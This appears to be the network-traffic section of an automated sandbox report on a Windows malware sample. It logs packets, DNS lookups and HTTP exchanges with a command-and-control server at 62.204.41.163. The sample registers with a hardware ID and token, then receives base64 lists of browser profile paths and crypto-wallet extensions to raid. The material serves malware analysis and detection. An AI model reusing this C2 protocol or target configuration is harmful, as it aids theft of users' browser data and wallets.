Nov 20, 2024 07:49:36.158552885 CET	443	50021	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.159068108 CET	50021	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.159073114 CET	443	50021	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.166188002 CET	443	50023	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.166614056 CET	50023	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.166625023 CET	443	50023	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.167145967 CET	50023	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.167154074 CET	443	50023	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.251306057 CET	443	50022	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.251535892 CET	443	50022	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.251801968 CET	50022	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.251851082 CET	50022	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.251871109 CET	443	50022	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.251883030 CET	50022	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.251888037 CET	443	50022	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.255337000 CET	50026	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.255381107 CET	443	50026	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.255456924 CET	50026	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.255672932 CET	50026	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.255686998 CET	443	50026	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.264486074 CET	443	50021	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.264630079 CET	443	50021	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.264735937 CET	50021	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.264806986 CET	50021	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.264806986 CET	50021	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.264841080 CET	443	50021	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.264868021 CET	443	50021	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.267447948 CET	50027	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.267543077 CET	443	50027	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.267644882 CET	50027	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.267838001 CET	50027	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.267872095 CET	443	50027	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.271528006 CET	443	50023	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.271733999 CET	443	50023	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.271787882 CET	443	50023	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.271790028 CET	50023	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.271840096 CET	50023	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.271924973 CET	50023	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.271924973 CET	50023	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.271940947 CET	443	50023	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.271960974 CET	443	50023	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.276324034 CET	443	50024	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.276777983 CET	50024	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.276793957 CET	443	50024	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.277256012 CET	50024	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.277261019 CET	443	50024	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.375747919 CET	443	50024	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.375910997 CET	443	50024	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.375988960 CET	50024	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.376223087 CET	50024	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.376245022 CET	443	50024	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.376255989 CET	50024	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.376264095 CET	443	50024	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.800749063 CET	443	50025	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.801440954 CET	50025	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.801470041 CET	443	50025	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.801923037 CET	50025	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.801928997 CET	443	50025	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.900986910 CET	443	50026	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.901531935 CET	50026	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.901566029 CET	443	50026	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.901994944 CET	50026	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.902000904 CET	443	50026	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.911083937 CET	443	50025	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.911228895 CET	443	50025	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.911353111 CET	50025	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.911484003 CET	50025	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.911499977 CET	443	50025	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.911510944 CET	50025	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.911515951 CET	443	50025	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:37.003735065 CET	443	50026	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:37.004365921 CET	443	50026	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:37.004456043 CET	50026	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:37.004528046 CET	50026	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:37.004528046 CET	50026	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:37.004548073 CET	443	50026	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:37.004558086 CET	443	50026	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:37.129705906 CET	443	50027	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:37.130287886 CET	50027	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:37.130307913 CET	443	50027	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:37.130803108 CET	50027	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:37.130809069 CET	443	50027	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:37.230061054 CET	443	50027	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:37.230133057 CET	443	50027	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:37.230237961 CET	50027	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:37.230494976 CET	50027	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:37.230516911 CET	443	50027	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:37.230528116 CET	50027	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:37.230532885 CET	443	50027	13.107.246.45	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 07:48:11.045938969 CET	53	52356	1.1.1.1	192.168.2.4
Nov 20, 2024 07:48:11.087683916 CET	64876	53	192.168.2.4	1.1.1.1
Nov 20, 2024 07:48:11.087832928 CET	49969	53	192.168.2.4	1.1.1.1
Nov 20, 2024 07:48:11.096498966 CET	53	63574	1.1.1.1	192.168.2.4
Nov 20, 2024 07:48:11.096546888 CET	53	64876	1.1.1.1	192.168.2.4
Nov 20, 2024 07:48:11.096560001 CET	53	49969	1.1.1.1	192.168.2.4
Nov 20, 2024 07:48:12.067116022 CET	53	57868	1.1.1.1	192.168.2.4
Nov 20, 2024 07:48:14.783248901 CET	62836	53	192.168.2.4	1.1.1.1
Nov 20, 2024 07:48:14.783683062 CET	60436	53	192.168.2.4	1.1.1.1
Nov 20, 2024 07:48:14.788526058 CET	53	57211	1.1.1.1	192.168.2.4
Nov 20, 2024 07:48:14.790651083 CET	53	60436	1.1.1.1	192.168.2.4
Nov 20, 2024 07:48:14.790921926 CET	53	62836	1.1.1.1	192.168.2.4
Nov 20, 2024 07:48:15.787370920 CET	60777	53	192.168.2.4	1.1.1.1
Nov 20, 2024 07:48:15.787589073 CET	52735	53	192.168.2.4	1.1.1.1
Nov 20, 2024 07:48:15.794318914 CET	53	60777	1.1.1.1	192.168.2.4
Nov 20, 2024 07:48:15.794397116 CET	53	52735	1.1.1.1	192.168.2.4
Nov 20, 2024 07:48:20.274662971 CET	138	138	192.168.2.4	192.168.2.255

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 20, 2024 07:48:29.320816994 CET	192.168.2.4	2.2.2.2	4d5a		Echo

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 07:48:11.087683916 CET	192.168.2.4	1.1.1.1	0x5894	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 07:48:11.087832928 CET	192.168.2.4	1.1.1.1	0x470a	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 20, 2024 07:48:14.783248901 CET	192.168.2.4	1.1.1.1	0x4464	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 07:48:14.783683062 CET	192.168.2.4	1.1.1.1	0x1cdd	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 20, 2024 07:48:15.787370920 CET	192.168.2.4	1.1.1.1	0x1340	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 07:48:15.787589073 CET	192.168.2.4	1.1.1.1	0x30d9	Standard query (0)	play.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 07:48:11.096546888 CET	1.1.1.1	192.168.2.4	0x5894	No error (0)	www.google.com		142.250.186.164	A (IP address)	IN (0x0001)	false
Nov 20, 2024 07:48:11.096560001 CET	1.1.1.1	192.168.2.4	0x470a	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 20, 2024 07:48:14.790651083 CET	1.1.1.1	192.168.2.4	0x1cdd	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 07:48:14.790921926 CET	1.1.1.1	192.168.2.4	0x4464	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 07:48:14.790921926 CET	1.1.1.1	192.168.2.4	0x4464	No error (0)	plus.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Nov 20, 2024 07:48:15.794318914 CET	1.1.1.1	192.168.2.4	0x1340	No error (0)	play.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.google.com

apis.google.com

play.google.com

fs.microsoft.com

slscr.update.microsoft.com

otelrules.azureedge.net

62.204.41.163

176.113.115.215

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	62.204.41.163	80	7400	C:\Users\user\Desktop\qlI3ReINCV.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:48:04.948970079 CET	88	OUT	GET / HTTP/1.1 Host: 62.204.41.163 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 07:48:05.651257992 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 07:48:05.654480934 CET	416	OUT	POST /16fa04073490929d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAAEBKEGHJKEBFHJDBF Host: 62.204.41.163 Content-Length: 216 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 43 43 32 37 30 35 34 44 41 34 42 33 38 33 37 37 33 34 39 34 37 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 31 31 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 2d 2d 0d 0a Data Ascii: ------HCAAEBKEGHJKEBFHJDBFContent-Disposition: form-data; name="hwid"2CC27054DA4B3837734947------HCAAEBKEGHJKEBFHJDBFContent-Disposition: form-data; name="build"default11------HCAAEBKEGHJKEBFHJDBF--
Nov 20, 2024 07:48:06.071744919 CET	407	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:05 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 47 51 79 4d 32 51 33 4d 7a 5a 6b 5a 6d 45 78 59 7a 45 33 4d 54 67 33 4f 57 5a 6b 4e 54 41 33 4f 54 49 79 4e 54 55 32 4f 44 4e 6d 4f 44 5a 6a 59 54 4a 6d 59 7a 42 6a 5a 54 63 33 59 6d 4a 6a 4e 54 45 31 4e 6a 45 30 4e 54 4a 6b 5a 6a 4a 6d 4f 54 67 32 5a 47 5a 6a 4e 44 67 7a 59 57 55 34 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 46 38 4d 48 77 78 66 44 42 38 4d 48 77 77 66 44 42 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NGQyM2Q3MzZkZmExYzE3MTg3OWZkNTA3OTIyNTU2ODNmODZjYTJmYzBjZTc3YmJjNTE1NjE0NTJkZjJmOTg2ZGZjNDgzYWU4fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDF8MHwxfDB8MHwwfDB8MXwwfHlibmNiaHlsZXBtZXw=
Nov 20, 2024 07:48:06.073194981 CET	468	OUT	POST /16fa04073490929d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBFBGCGIJKJJKFIDBFC Host: 62.204.41.163 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 32 33 64 37 33 36 64 66 61 31 63 31 37 31 38 37 39 66 64 35 30 37 39 32 32 35 35 36 38 33 66 38 36 63 61 32 66 63 30 63 65 37 37 62 62 63 35 31 35 36 31 34 35 32 64 66 32 66 39 38 36 64 66 63 34 38 33 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 2d 2d 0d 0a Data Ascii: ------GCBFBGCGIJKJJKFIDBFCContent-Disposition: form-data; name="token"4d23d736dfa1c171879fd50792255683f86ca2fc0ce77bbc51561452df2f986dfc483ae8------GCBFBGCGIJKJJKFIDBFCContent-Disposition: form-data; name="message"browsers------GCBFBGCGIJKJJKFIDBFC--
Nov 20, 2024 07:48:06.296905041 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:06 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 20, 2024 07:48:06.297039986 CET	224	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJv
Nov 20, 2024 07:48:06.429975986 CET	796	IN	Data Raw: 62 57 56 38 4d 48 77 77 66 45 31 70 59 33 4a 76 63 32 39 6d 64 43 42 46 5a 47 64 6c 66 46 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 52 63 52 57 52 6e 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 31 7a 5a 57 52 6e 5a 53 Data Ascii: bWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxNaWNyb3NvZnRcRWRnZVxBcHBsaWNhdGlvblx8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8MHxRUUJyb3dzZXJ8XFR
Nov 20, 2024 07:48:06.431529045 CET	467	OUT	POST /16fa04073490929d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHJDAKEGDBFHCAAKJJJD Host: 62.204.41.163 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 4b 45 47 44 42 46 48 43 41 41 4b 4a 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 32 33 64 37 33 36 64 66 61 31 63 31 37 31 38 37 39 66 64 35 30 37 39 32 32 35 35 36 38 33 66 38 36 63 61 32 66 63 30 63 65 37 37 62 62 63 35 31 35 36 31 34 35 32 64 66 32 66 39 38 36 64 66 63 34 38 33 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 4b 45 47 44 42 46 48 43 41 41 4b 4a 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 4b 45 47 44 42 46 48 43 41 41 4b 4a 4a 4a 44 2d 2d 0d 0a Data Ascii: ------DHJDAKEGDBFHCAAKJJJDContent-Disposition: form-data; name="token"4d23d736dfa1c171879fd50792255683f86ca2fc0ce77bbc51561452df2f986dfc483ae8------DHJDAKEGDBFHCAAKJJJDContent-Disposition: form-data; name="message"plugins------DHJDAKEGDBFHCAAKJJJD--
Nov 20, 2024 07:48:06.655497074 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:06 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 20, 2024 07:48:06.655533075 CET	224	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdk
